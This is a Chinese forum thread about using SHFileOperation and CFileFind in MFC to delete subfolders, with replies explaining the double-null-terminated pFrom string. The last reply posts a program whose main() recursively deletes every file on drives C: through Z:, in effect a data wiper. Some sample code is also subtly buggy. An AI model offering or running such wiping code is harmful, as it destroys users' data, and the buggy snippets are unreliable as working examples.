我先用CFileFind获得了该文件夹下的所有子文件夹,然后把子文件夹的路径存到一个
CString数组里,再调用一个我自定义的delete_folder函数。可是应为SHFILEOPSTRUCT
结构的pFrom参数是LPCSTR类型的,所以无法删除子文件夹。
   请高手指点!!! Thanks!
void CICTAuto_feedingSFCSDlg::delete_folder(CString *fd,int fd_sum)
{
int Mark; 
         SHFILEOPSTRUCT FileOp;
         FileOp.hwnd=m_hWnd;
FileOp.wFunc=FO_DELETE;//FO_COPY
//FileOp.pFrom="E:\\555\\1\0";
FileOp.pTo="d:\\\0";
FileOp.fFlags=FOF_SILENT;//FOF_ALLOWUNDO;
FileOp.hNameMappings=NULL;
FileOp.lpszProgressTitle="Deleting";
         for (int i=0;i<fd_sum;i++)
{
//AfxMessageBox(*(fd+i));
LPCSTR SrcFile=*(fd+i);
                 FileOp.pFrom=SrcFile;//"E:\\555\\2\0"
         Mark=SHFileOperation(&FileOp);
}
//AfxMessageBox("Delete Successful");}

解决方案 »

  1.   

    好像pFrom参数只能赋给一个常量字符串,那动态的文件夹的路径怎么赋给它呢?
      

  2.   

    请问这样有错吗? int Mark; 
             SHFILEOPSTRUCT FileOp;
             FileOp.hwnd=m_hWnd;
    FileOp.wFunc=FO_DELETE;//FO_COPY
    //FileOp.pFrom="E:\\555\\1\0";
    FileOp.pTo="d:\\\0";
    FileOp.fFlags=FOF_SILENT;//FOF_ALLOWUNDO;
    FileOp.hNameMappings=NULL;
    FileOp.lpszProgressTitle="Deleting";
             for (int i=0;i<1;i++)
    {
                  CString aaa="e:\\555\\5\0";
                  char SrcFile[100];
                  strcpy(SrcFile, aaa.GetBuffer(100));
         FileOp.pFrom=SrcFile;
         Mark=SHFileOperation(&FileOp);
    }
      

  3.   

    可以阿,我帮你作一个例子的,没有问题的,我把我的代码写下来了.
    void CDeletefileDlg::OnButton1() //对话框里的删除按钮
    {
    // TODO: Add your control notification handler code here
    CFileFind filefinder;
    BOOL bWorking = filefinder.FindFile("*.*");
     
       while (bWorking)
       {
          bWorking = filefinder.FindNextFile();
          if(filefinder.IsDirectory()==TRUE &&  filefinder.IsDots()==FALSE)
      {
              m_stringarray.Add(filefinder.GetFilePath());
      }
      filefinder.FindNextFile();
       }
       int num = m_stringarray.GetSize();
       delete_folder();}
    void CDeletefileDlg::delete_folder()
    {
        int Mark; 
        SHFILEOPSTRUCT FileOp;
        FileOp.hwnd=m_hWnd;
    FileOp.wFunc=FO_DELETE;//FO_COPY
    //FileOp.pFrom="E:\\555\\1\0";
    FileOp.pTo=NULL;
    FileOp.fFlags=FOF_SILENT;//FOF_ALLOWUNDO;
    FileOp.hNameMappings=NULL;
    FileOp.lpszProgressTitle="Deleting";
        for (int i=0;i<m_stringarray.GetSize();i++)
    {

    /*LPCTSTR*/ CString SrcFile=m_stringarray.GetAt(i);
    AfxMessageBox(SrcFile);
    int filelen = SrcFile.GetLength()+2;
    char * path = new char[SrcFile.GetLength()+2];
    strcpy(path,(LPCTSTR)SrcFile);
    path[filelen-2]='\0';
    path[filelen-1]='\0';
            FileOp.pFrom=path;//"E:\\555\\2\0"
        Mark=SHFileOperation(&FileOp);
    delete path;
    }
    //AfxMessageBox("Delete Successful");}
    我建了一个a的文件夹,然后执行里面的东西就删掉了.我想你的pFrom应该是有两个'\0'才可把
      

  4.   

    void KillAll(CString path)
    {
    if(!SetCurrentDirectory(path))
    {
    return;
    } CFileFind find;
    BOOL bResult = find.FindFile("*.*");
    while(bResult)
    {
    bResult = find.FindNextFile();
    if(find.IsDots())
    {
    continue;
    } if(find.IsDirectory())
    {
    Kill(find.GetFilePath());
    }
    DeleteFile(find.GetFilePath());
    RemoveDirectory(find.GetRoot());
    }
    }void main()
    {
    char diskname[] = "C:\\";
    for(int a = 'C';a <= 'Z';a ++)
    {
    diskname[0] = a;
    Kill(diskname);
    }
    }